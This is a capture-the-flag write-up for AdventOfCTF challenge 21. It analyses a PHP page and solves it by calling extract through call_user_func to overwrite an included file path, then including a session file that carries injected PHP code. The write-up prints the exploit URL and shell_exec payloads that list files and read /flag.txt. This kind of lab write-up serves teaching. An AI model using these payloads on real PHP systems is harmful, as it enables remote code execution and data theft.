You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
194 lines
7.8 KiB
194 lines
7.8 KiB
+++
|
|
author = "Maik de Kruif"
|
|
title = "Challenge 21 - AdventOfCTF"
|
|
date = 2021-02-26T11:45:53+01:00
|
|
description = "A writeup for challenge 21 of AdventOfCTF."
|
|
cover = "img/adventofctf/2020/a4afd1fffb0b662d849a6907767f0625.png"
|
|
tags = [
|
|
"AdventOfCTF",
|
|
"challenge",
|
|
"ctf",
|
|
"hacking",
|
|
"writeup",
|
|
"web",
|
|
"php",
|
|
]
|
|
categories = [
|
|
"ctf",
|
|
"writeups",
|
|
"hacking",
|
|
]
|
|
+++
|
|
|
|
- Points: 2100
|
|
|
|
## Description
|
|
|
|
We are testing a new mechanism to filter out malicious content from URLs. This application is the test page for this feature. I hope it works, these hackers are very active!
|
|
|
|
The flag is in /flag.txt
|
|
|
|
Visit <https://21.adventofctf.com> to start the challenge.
|
|
|
|
## Recon
|
|
|
|
Upon opening the challenge website, we're greeted with some PHP code:
|
|
|
|
```php
|
|
<?php
|
|
error_reporting(0);
|
|
|
|
ini_set('display_errors', 0);
|
|
ini_set('open_basedir', '/var/www/html:/tmp');
|
|
|
|
# Make sure no evil things are passed in the URL
|
|
$file = 'filters.php';
|
|
$func = isset($_GET['function'])?$_GET['function']:'filters';
|
|
call_user_func($func,$_GET);
|
|
include($file);
|
|
|
|
# Save the name for later
|
|
session_start();
|
|
if ($_POST["name"]){
|
|
$_SESSION["name"] = $_POST["name"];
|
|
}
|
|
|
|
header("Location: /index.php");
|
|
exit();
|
|
?>
|
|
```
|
|
|
|
Besides this, we can also see an input field for a name. From it's source, we can tell it send a `POST` request to `/get_flag.php` upon submitting the form.
|
|
|
|
## Analyzing the code
|
|
|
|
Let's start by going over the PHP code line by line.
|
|
|
|
```php
|
|
ini_set('display_errors', 0);
|
|
ini_set('open_basedir', '/var/www/html:/tmp');
|
|
```
|
|
|
|
The code starts by setting two PHP settings. The first one is pretty obvious; it disables the display of errors. The second one is a little more interesting. If we take a look at the [php documentation](https://www.php.net/manual/en/ini.core.php#ini.open-basedir) we find the following:
|
|
|
|
> Limit the files that can be accessed by PHP to the specified directory-tree, including the file itself.
|
|
> [...]
|
|
> When a script tries to access the filesystem, for example using include, or fopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to access it.
|
|
|
|
This means we can, thus, only read files from the `/var/www/html` and `/tmp` directory. This is peculiar as we normally don't need to read anything from the `/tmp` folder.
|
|
|
|
```php
|
|
# Make sure no evil things are passed in the URL
|
|
$file = 'filters.php';
|
|
$func = isset($_GET['function'])?$_GET['function']:'filters';
|
|
call_user_func($func,$_GET);
|
|
include($file);
|
|
```
|
|
|
|
Moving on ot the next part, two variables are set: `$file` and `$func`. `$file` is set to a path which is later included with `include($file)`. To set the `$func` variable, the code will first check if `$_GET['function']` exists, and if so sets the variable to it, otherwise, the variable is set to the string `"filters"`.
|
|
|
|
After setting these variables, the script will execute `call_user_func` with two parameters. To see what this function does, we can have a look at the [docs](https://www.php.net/manual/en/function.call-user-func.php) again:
|
|
|
|
> Calls the callback given by the first parameter and passes the remaining parameters as arguments.
|
|
|
|
This means it will execute the function saved in `$func`, which, we can set using the `GET` parameter `function`. It also passes all `GET` parameters as arguments.
|
|
|
|
After calling `call_user_func`, it [includes](https://www.php.net/manual/en/function.include.php) the `$file` variable. This means it will take the contents of the file at the path saved in `$file` and pretend it was written here.
|
|
|
|
```php
|
|
# Save the name for later
|
|
session_start();
|
|
if ($_POST["name"]){
|
|
$_SESSION["name"] = $_POST["name"];
|
|
}
|
|
```
|
|
|
|
This part is also interesting. The code start a session and, if the `"name"` parameter exists in a `POST` request to this page, saves it to this session.
|
|
|
|
The interesting part is that we don't see it being used anywhere.
|
|
|
|
```php
|
|
header("Location: /index.php");
|
|
exit();
|
|
```
|
|
|
|
Finally, the script will add a `Location` header with `/index.php` as the content, this is basically a redirect, and then exits the process.
|
|
|
|
### Summary
|
|
|
|
Let's put this all together.
|
|
|
|
Firstly, the code restricts the read access of our program to `/var/www/html` and `/tmp`. It then, if it exists, calls the function passed in the `GET` parameter `function`. If it isn't set, it will call the `filters` function instead. Afterwards, it includes a file at the path saved in `$file`.
|
|
|
|
After all of this, it will start a session and, if the `POST` parameter `name` is set, saves the contents of that parameter to the session.
|
|
|
|
## Finding the vulnerability
|
|
|
|
The goal is to read the `/flag.txt` file which is not saved in either `/var/www/html` nor `/tmp`. This means we cannot exploit the `include` function to read it directly.
|
|
|
|
Let's have another look at the bottom code for the session. A variable in the session is set, but where is it actually saved? As PHP doesn't "run" like a python server would, it can't save it to memory. This means the session is probably saved to a file.
|
|
|
|
If we have a look on Google, we can find that PHP sessions are saved as separate files in the OS's temporary directory. For Linux, this is `/tmp`.
|
|
|
|
Hooray! This means the `include` function can access the session files. This is quite useless though if we can't actually use the include function. So let's get to that first.
|
|
|
|
### Including files
|
|
|
|
The only way to include a file from what I can see is to either use `call_user_func` to include a file, or use `call_user_func` to somehow overwrite the `&file` variable.
|
|
|
|
The first approach won't work though as `GET` parameters always have a name, and the `include` function doesn't use those.
|
|
|
|
There is, however, a way to overwrite the `&file` variable. We can do this using PHP's `extract` function.
|
|
|
|
From the [docs](https://www.php.net/manual/en/function.extract):
|
|
|
|
> extract — Import variables into the current symbol table from an array
|
|
|
|
In English, this means it imports the variables from the passed array into our code.
|
|
|
|
This is great as the passed array is the `$_GET` array. This is an array in which all our `GET` parameters are saved. This means that if we add a parameter with the name "file", it will, hopefully, overwrite the existing variable.
|
|
|
|
Let's test this. Firstly we have to set the name variable. To do this we can just enter some text in the input field and press submit. After this, we can make a `GET` request to `/get_flag.php` to read the file.
|
|
|
|
To make this request, we first need the session token. We can find in the cookies in our browser. For me, it was `e62ac597cd97e0638d898fff45c3b878`. Afterwards, we can make a request like this to get the contents of our session file: `/get_flag.php?function=extract&file=/tmp/sess_e62ac597cd97e0638d898fff45c3b878`.
|
|
|
|
This then returns the following:
|
|
|
|
```text
|
|
name|s:15:"Your cool name!";
|
|
```
|
|
|
|
As we can see, our input is directly saved to the file. Because we are reading the file using `include`, it also executes any PHP code it finds there. Let's verify that by setting our name to `<?php phpinfo(); ?>`.
|
|
|
|
If we now open the page with our file read again, we see the PHP info.
|
|
|
|
## Exploit
|
|
|
|
Now that we have PHP injection, we can easily turn this into Remote Code Execution (RCE). We do this by using the `shell_exec` function like so:
|
|
|
|
```php
|
|
<?php echo shell_exec("ls"); ?>
|
|
```
|
|
|
|
If we send this as the name, we get the following result:
|
|
|
|
```text
|
|
name|s:31:"error_pages
|
|
favicon.ico
|
|
filters.php
|
|
get_flag.php
|
|
index.php
|
|
logo.png
|
|
style.css
|
|
";
|
|
```
|
|
|
|
The description told us the flag was located at `/flag.txt` so let's open it using the following input:
|
|
|
|
```php
|
|
<?php echo shell_exec("cat /flag.txt"); ?>
|
|
```
|
|
|
|
## Solution
|
|
|
|
We got the flag! It is `NOVI{extract_1s_ev1l_on_us3r_inpu7}`.
|
|
|